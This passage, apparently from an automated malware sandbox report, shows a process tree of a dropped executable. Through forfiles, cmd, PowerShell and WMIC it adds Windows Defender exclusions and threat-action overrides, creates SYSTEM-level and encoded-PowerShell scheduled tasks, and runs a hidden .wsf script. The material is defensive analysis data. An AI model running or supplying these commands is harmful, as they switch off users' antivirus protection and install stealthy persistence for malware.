                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                              7⤵
                                                                                PID:2100
                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                  8⤵
                                                                                    PID:396
                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                6⤵
                                                                                  PID:2208
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                    7⤵
                                                                                      PID:1868
                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                        8⤵
                                                                                          PID:1136
                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                      6⤵
                                                                                        PID:872
                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                          7⤵
                                                                                            PID:2228
                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                              8⤵
                                                                                                PID:2732
                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                            6⤵
                                                                                              PID:2164
                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                7⤵
                                                                                                  PID:2172
                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                    8⤵
                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                    • Drops file in System32 directory
                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                    PID:1144
                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                      9⤵
                                                                                                        PID:2016
                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
                                                                                                5⤵
                                                                                                  PID:1744
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                    6⤵
                                                                                                      PID:1704
                                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                        7⤵
                                                                                                        • Command and Scripting Interpreter: PowerShell
                                                                                                        • Drops file in System32 directory
                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                        PID:2648
                                                                                                        • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                          "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
                                                                                                          8⤵
                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                          PID:1612
                                                                                                  • C:\Windows\SysWOW64\schtasks.exe
                                                                                                    schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 01:32:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\hfpxdKG.exe\" it /TDpdidjfBL 385118 /S" /V1 /F
                                                                                                    5⤵
                                                                                                    • Drops file in Windows directory
                                                                                                    • Creates scheduled task(s)
                                                                                                    PID:1040
                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                    "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m waitfor.exe /c "cmd /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ"
                                                                                                    5⤵
                                                                                                      PID:2412
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        /C schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                        6⤵
                                                                                                          PID:2020
                                                                                                          • \??\c:\windows\SysWOW64\schtasks.exe
                                                                                                            schtasks /run /I /tn bbmnnUCIPYyTQrzMQJ
                                                                                                            7⤵
                                                                                                              PID:2072
                                                                                                • C:\Windows\system32\makecab.exe
                                                                                                  "C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20240511013034.log C:\Windows\Logs\CBS\CbsPersist_20240511013034.cab
                                                                                                  1⤵
                                                                                                  • Drops file in Windows directory
                                                                                                  PID:2524
                                                                                                • C:\Windows\system32\taskeng.exe
                                                                                                  taskeng.exe {8F505685-56A9-40B3-AF02-0219E681519C} S-1-5-18:NT AUTHORITY\System:Service:
                                                                                                  1⤵
                                                                                                    PID:1392
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\hfpxdKG.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA\tLVYvupllyMnDiy\hfpxdKG.exe it /TDpdidjfBL 385118 /S
                                                                                                      2⤵
                                                                                                      • Executes dropped EXE
                                                                                                      • Drops file in System32 directory
                                                                                                      • Modifies data under HKEY_USERS
                                                                                                      PID:2944
                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                        "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                        3⤵
                                                                                                          PID:1388
                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                            forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                            4⤵
                                                                                                              PID:2636
                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                5⤵
                                                                                                                  PID:1276
                                                                                                                  • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                    6⤵
                                                                                                                      PID:3064
                                                                                                                • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                  forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                  4⤵
                                                                                                                    PID:2712
                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                      /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                      5⤵
                                                                                                                        PID:1860
                                                                                                                        • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                          reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                          6⤵
                                                                                                                            PID:2164
                                                                                                                      • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                        forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                        4⤵
                                                                                                                          PID:2444
                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                            /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                            5⤵
                                                                                                                              PID:1656
                                                                                                                              • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                6⤵
                                                                                                                                  PID:2348
                                                                                                                            • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                              forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                              4⤵
                                                                                                                                PID:608
                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                  /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                  5⤵
                                                                                                                                    PID:900
                                                                                                                                    • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                      reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                      6⤵
                                                                                                                                        PID:1948
                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                    forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                    4⤵
                                                                                                                                      PID:1592
                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                        5⤵
                                                                                                                                          PID:1612
                                                                                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                            powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                            6⤵
                                                                                                                                            • Command and Scripting Interpreter: PowerShell
                                                                                                                                            • Drops file in System32 directory
                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:484
                                                                                                                                            • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                              "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                              7⤵
                                                                                                                                                PID:1740
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /CREATE /TN "gWLSoqbwu" /SC once /ST 00:59:42 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                        3⤵
                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                        PID:1104
                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                        schtasks /run /I /tn "gWLSoqbwu"
                                                                                                                                        3⤵
                                                                                                                                          PID:484
                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                          schtasks /DELETE /F /TN "gWLSoqbwu"
                                                                                                                                          3⤵
                                                                                                                                            PID:2248
                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True"
                                                                                                                                            3⤵
                                                                                                                                              PID:1316
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                                                                4⤵
                                                                                                                                                  PID:1468
                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                    powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                                                                    5⤵
                                                                                                                                                    • Command and Scripting Interpreter: PowerShell
                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                    PID:2148
                                                                                                                                                    • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                      "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=wsf Force=True
                                                                                                                                                      6⤵
                                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                      PID:316
                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                3⤵
                                                                                                                                                  PID:2096
                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                    REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    4⤵
                                                                                                                                                    • Windows security bypass
                                                                                                                                                    PID:2456
                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                  cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                  3⤵
                                                                                                                                                    PID:2672
                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                      4⤵
                                                                                                                                                      • Windows security bypass
                                                                                                                                                      PID:2244
                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                    3⤵
                                                                                                                                                      PID:624
                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                        4⤵
                                                                                                                                                          PID:284
                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                        cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                        3⤵
                                                                                                                                                          PID:1636
                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                            4⤵
                                                                                                                                                              PID:1496
                                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                            cmd /C copy nul "C:\Windows\Temp\WPGfhLqOzAIwKSwi\Onfpcrvh\GOldDZpFpkCgMwKW.wsf"
                                                                                                                                                            3⤵
                                                                                                                                                              PID:692
                                                                                                                                                            • C:\Windows\SysWOW64\wscript.exe
                                                                                                                                                              wscript "C:\Windows\Temp\WPGfhLqOzAIwKSwi\Onfpcrvh\GOldDZpFpkCgMwKW.wsf"
                                                                                                                                                              3⤵
                                                                                                                                                                PID:2476
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1460
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:2656
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1724
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:2840
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:2172
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:2592
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1700
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1616
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:2732
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1956
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1068
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\VyWMmqtuSNndeGVB" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:880
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1900
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:2520
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:396
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\pzWhdRqbDjaoGSUyA" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1568
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:3024
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\WPGfhLqOzAIwKSwi" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                  4⤵
                                                                                                                                                                  • Windows security bypass
                                                                                                                                                                  PID:1816
                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                  4⤵
                                                                                                                                                                    PID:1736
                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ADJLsahCU" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                    4⤵
                                                                                                                                                                      PID:608
                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                      4⤵
                                                                                                                                                                        PID:1656
                                                                                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                        "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\AymmxTCbqblaRZJGVqR" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                        4⤵
                                                                                                                                                                          PID:1316
                                                                                                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                          "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                          4⤵
                                                                                                                                                                            PID:1688
                                                                                                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                            "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DQANlvmTAvZU2" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                            4⤵
                                                                                                                                                                              PID:1824
                                                                                                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                              "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                              4⤵
                                                                                                                                                                                PID:2244
                                                                                                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\PZjcxajBIsNTC" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                4⤵
                                                                                                                                                                                  PID:1072
                                                                                                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                  "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                  4⤵
                                                                                                                                                                                    PID:2424
                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mWJfrhglotUn" /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                    4⤵
                                                                                                                                                                                      PID:2728
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
